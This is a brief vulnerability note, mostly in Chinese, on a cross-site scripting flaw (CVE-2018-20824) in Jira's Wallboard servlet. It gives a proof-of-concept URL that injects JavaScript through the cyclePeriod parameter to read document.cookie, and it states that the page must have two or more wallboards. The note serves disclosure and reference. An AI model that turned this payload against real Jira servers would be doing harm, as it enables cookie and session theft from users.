CVE-2018-20824：[Jira]XSS in WallboardServlet through the cyclePeriod parameter

https://jira.atlassian.com/browse/JRASERVER-69238
https://duncanhalley.co.uk/blog/building-a-wallboard-in-jira/
PoC：

/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true

步骤：




查看前端源码，搜索关键字：
AJS.WALLBOARD.cycleOptions

但是利用条件是

if (AJS.WALLBOARD.wallboards.children().size() >= 2)

即存在两个或以上的wallboards。

附录

Atlassion产品最近bugs：
https://jira.atlassian.com/browse/JRASERVER-69238?filter=13085